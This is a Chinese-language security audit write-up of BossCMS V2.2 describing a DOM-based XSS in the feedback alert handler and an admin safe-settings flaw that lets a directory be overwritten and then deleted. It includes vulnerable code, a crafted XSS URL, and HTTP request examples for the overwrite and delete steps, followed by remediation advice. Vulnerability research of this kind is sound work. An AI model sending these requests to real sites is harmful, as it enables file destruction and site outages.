BossCms V2.2 代码审计
字数 1152 2025-08-24 16:48:17
BossCMS V2.2 代码审计报告与漏洞分析
1. DOM型XSS漏洞分析
1.1 漏洞发现位置
- 前台feedback功能点
- 后台管理界面
1.2 漏洞触发条件
当成功提交反馈时会弹出提示,URL格式为:
http://bosscms.test.com/feedback/#_alert=反馈提交成功!,green
1.3 漏洞原理
-
URL参数解析缺陷:
- 系统通过JavaScript解析URL中的hash部分
- 使用正则表达式匹配
#_alert=(.+?),(red|green|blue|yellow|gold) - 匹配到的内容直接拼接HTML并添加到body标签
-
关键代码分析:
var at = window.location.hash.match(/#_alert=(.+?),(red|green|blue|yellow|gold)/); if(at){ _alert(decodeURI(at[1]), at[2]); window.location.hash = window.location.hash.replace(at[0],''); } function _alert(str, type){ var date = new Date(); now = date.getTime(); $('body').append('<h6 class="alert ' + type + '" time="' + now + '" style="z-index:' + now + ';"><b>' + str + '</b></h6>'); // 省略动画效果代码... } -
漏洞利用:
- 构造恶意URL:
http://bosscms.test.com/feedback/#_alert=">,green - 攻击向量会被直接插入DOM中执行
- 构造恶意URL:
1.4 受影响文件
/public/static/js/global.js/public/static/js/bosscms.js
1.5 修复建议
- 对alert内容进行HTML实体编码
- 使用textContent而非innerHTML插入内容
- 实现严格的输入过滤
2. 后台安全设置模块逻辑缺陷
2.1 漏洞位置
/system/admin/safe/safe.class.php文件
2.2 核心漏洞代码分析
2.2.1 init方法
public function init() {
global $G;
$G['cover'] = $this->cover();
if(preg_match("/^\w+$/", $old=arrExist($G['get'],'old_folder'))){
if(is_file(ROOT_PATH.$old.'/index.php')){
$str = file_get_contents(ROOT_PATH.$old.'/index.php');
$res = dir::read(ROOT_PATH.$old.'/');
if(strstr($str,"define('IS_INSIDE',true);") && count($res['file'])==1){
dir::remove(ROOT_PATH.$old.'/');
}
}
}
echo $this->theme('safe/safe');
}
2.2.2 add方法
public function add() {
global $G;
$this->cover('safe','M');
if(isset($G['post'])){
if(!$G['post']['admin_folder']){
alert('后台文件夹不能为空!');
}
// 配置更新代码省略...
if($G['path']['folder'] != $G['post']['admin_folder']){
if(!preg_match("/^\w+$/", $G['post']['admin_folder'])){
alert('文件夹名称必须为英文、数字、下划线等字符');
}
dir::copydir(ROOT_PATH.$G['path']['folder'].'/', ROOT_PATH.$G['post']['admin_folder']);
alert('操作成功', $G['post']['admin_folder'].'/'.url::mpf('safe','safe','init',array('admin_folder'=>$G['post']['admin_folder'],'old_folder'=>$G['path']['folder'])));
}else{
alert('操作成功', url::mpf('safe','safe','init'));
}
}
}
2.3 漏洞利用场景
2.3.1 文件覆盖攻击
-
攻击流程:
- 通过add方法将admin_folder参数设置为前台目录(如feedback)
- 系统会将后台目录文件复制到指定目录
- 导致前台功能被后台文件覆盖
-
攻击数据包示例:
POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
Host: bosscms.test.com
Content-Type: multipart/form-data; boundary=4172384995493174183638070831
--4172384995493174183638070831
Content-Disposition: form-data; name="admin_folder"
feedback
--4172384995493174183638070831
(其他表单字段省略...)
2.3.2 文件删除攻击
-
删除条件:
- 目录必须为后台路径且包含
define('IS_INSIDE',true); - 目录名称必须为数字、字母或下划线
- 目录下必须只有一个index.php文件
- 目录必须为后台路径且包含
-
攻击流程:
- 先通过文件覆盖使目标目录满足删除条件
- 然后调用init方法删除该目录
-
攻击数据包示例:
GET /feedback/?mold=safe&part=safe&func=init&admin_folder=feedback&old_folder=admin HTTP/1.1
Host: bosscms.test.com
2.4 漏洞危害
- 可覆盖任意目录文件
- 可删除关键系统文件
- 可导致网站所有功能点404
2.5 修复建议
- 增加目录白名单验证
- 对操作目录进行严格权限检查
- 分离前后台操作逻辑
- 增加操作确认机制
3. 总结
3.1 漏洞共性
- 缺乏严格的输入验证
- 过度信任用户可控参数
- 未实现最小权限原则
3.2 安全开发建议
- 实施严格的输入过滤和输出编码
- 遵循最小权限原则设计功能
- 对文件系统操作进行多重验证
- 实现完整的操作日志记录
3.3 防御措施
- 及时更新补丁
- 限制后台访问IP
- 定期进行安全审计
- 实施文件完整性监控
本报告详细分析了BossCMS V2.2中存在的两个高危漏洞,包括DOM型XSS和后台安全设置模块的逻辑缺陷,并提供了相应的修复建议和安全开发指导。